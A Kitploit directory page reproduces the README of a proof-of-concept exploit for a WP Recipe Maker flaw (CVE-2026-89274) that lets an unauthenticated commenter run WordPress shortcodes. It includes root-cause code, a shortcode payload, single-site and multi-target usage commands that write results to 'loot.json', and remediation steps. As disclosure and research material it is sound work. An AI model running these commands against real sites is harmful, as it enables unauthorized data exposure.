Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
By-Poloss..-.CVE-2026-89274 — CVE-2026-89274 के लिए Python PoC exploit, जो WordPress WP Recipe Maker <= 10.8.1 में recipe comments के माध्यम से एक unauthenticated arbitrary shortcode execution vulnerability है। | Kitploit
उपकरण/GitHubGitHub/polosss/by-poloss..-.cve-2026-89274
भेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubpolosss/by-poloss..-.cve-2026-89274

By-Poloss..-.CVE-2026-89274

CVE-2026-89274 के लिए Python PoC exploit, जो WordPress WP Recipe Maker <= 10.8.1 में recipe comments के माध्यम से एक unauthenticated arbitrary shortcode execution vulnerability है।

रिपॉजिटरी देखें
21 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-89274 PoC

Poloss : @WPEF0

status python license

CVE-2026-89274 के लिए Proof-of-Concept exploit — WordPress plugin WP Recipe Maker संस्करण ≤ 10.8.1 में Unauthenticated Arbitrary Shortcode Execution की भेद्यता।

⚠️ कानूनी और नैतिक चेतावनी यह स्क्रिप्ट केवल स्थानीय वातावरण (localhost/lab) में सुरक्षा अनुसंधान के लिए प्रदान की गई है और इसका उपयोग उन सिस्टमों के विरुद्ध नहीं किया जाना चाहिए जो आपके स्वामित्व में नहीं हैं या लिखित अनुमति के बिना हैं। लेखक दुरुपयोग के लिए उत्तरदायी नहीं है। तृतीय-पक्ष सिस्टमों के विरुद्ध अनधिकृत उपयोग आपराधिक कानून का उल्लंघन कर सकता है।


📌 भेद्यता का सारांश

FieldNilai
CVE IDCVE-2026-89274
TargetWP Recipe Maker (wp-recipe-maker) ≤ 10.8.1
KelasCode Injection (CWE-94) — Arbitrary Shortcode Execution
CVSS v3.19.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
VektorKonten komentar resep (unauthenticated)
Sinkdo_shortcode() pada class-wprm-metadata.php
DampakEksekusi shortcode server-side → kebocoran data via JSON-LD publik
AuthorPoloss

Root Cause (patch-diff 10.8.1 → 10.8.4)

includes/public/class-wprm-metadata.php :: sanitize_metadata()

Vulnerable (10.8.1):

root@kitploit:~
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );

do_shortcode() mengeksekusi shortcode terlebih dahulu, lalu strip_shortcodes() hanya membersihkan output-nya — tidak ada proteksi sama sekali।

Patched (10.8.4):

root@kitploit:~
$sanitized = strip_shortcodes( wp_strip_all_tags(
    WPRM_Instacart::do_shortcode_safe( $metadata ) ) );

Alur Data

root@kitploit:~
comment_content (komentar publik pada post resep)
   └─> reviewBody        (class-wprm-metadata.php:1017)
       └─> $metadata['review'][]   (line 1028)
           └─> sanitize_metadata( get_metadata( $recipe ) )  (line 374)
               └─> do_shortcode( $reviewBody )  ← SINK EKSEKUSI
                   └─> wp_json_encode() ke <script type="application/ld+json">

Prasyarat

  1. Komentar membawa field wprm-comment-rating (diisi via form komentar).
  2. Komentar disetujui (auto-approve atau manual oleh moderator).
  3. Tidak diperlukan autentikasi.

⚙️ Instalasi

root@kitploit:~
git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate     # Windows: .venv\Scripts\activate
# Tidak ada dependensi eksternal — hanya standard library Python 3.

Persyaratan: Python 3.8+.


🚀 Penggunaan

Target tunggal

root@kitploit:~
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
    --shortcode '[wprm-recipe-name id=11]' \
    --marker 'PoC Recipe'

Banyak target (file)

Format targets.txt (satu per baris, url[,post_id]):

root@kitploit:~
http://lab1.local,10
http://lab2.local,25
# baris komentar diabaikan
http://lab3.local,7
root@kitploit:~
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json

Opsi CLI

FlagDefaultDeskripsi
-u, --url—URL target tunggal
-f, --file—File daftar target (url[,post_id] per baris)
-p, --post10ID post yang memuat resep
-t, --threads5Jumlah worker thread
-o, --outputcve-2026-89274-loot.jsonFile output JSON
--shortcode[wprm-recipe-name id=11]Payload shortcode yang dieksekusi
--markerPoC RecipeSubstring pembuktian eksekusi di reviewBody
--rating5Nilai rating WPRM
--timeout25Timeout per-request (detik)

🔍 Cara Kerja Script

  1. Baseline — GET halaman post, ekstrak blok <script type="application/ld+json">, kumpulkan reviewBody.
  2. Submit komentar — POST ke /wp-comments-post.php dengan payload + field wprm-comment-rating.
  3. Polling — GET ulang halaman beberapa kali untuk mendeteksi auto-approval komentar.
  4. Verifikasi — Jika --marker muncul di reviewBody → EXPLOITED. Jika belum → PENDING_APPROVAL.
  5. Output — Simpan hasil ke JSON.

Status Output

StatusArti
EXPLOITEDShortcode tereksekusi & output bocor ke JSON-LD publik
PENDING_APPROVALKomentar terkirim, menunggu persetujuan moderator
FAILHalaman tidak reachable / komentar ditolak / error

📄 Contoh Output JSON

root@kitploit:~
[
  {
    "target": "http://localhost:8080",
    "post_id": 10,
    "shortcode": "[wprm-recipe-name id=11]",
    "marker": "PoC Recipe",
    "author": "poc1716000000",
    "review_bodies": ["PoC Recipe"],
    "status": "EXPLOITED",
    "evidence": "PoC Recipe",
    "note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
    "elapsed": 9.12
  }
]

🛡️ Remediasi

  • Upgrade WP Recipe Maker ke ≥ 10.8.4.
  • Sementara, nonaktifkan komentar pada post resep atau set comment_moderation = 1 dan audit komentar secara ketat.
  • Terapkan WAF rule untuk memblokir shortcode syntax ([...]) pada field komentar.
  • Audit komentar lama untuk payload shortcode mencurigakan.

📁 Struktur Repo

root@kitploit:~
.
├── CVE-2026-89274.py           # exploit utama
└── README.md                   # dokumen ini
टूल डाउनलोड करें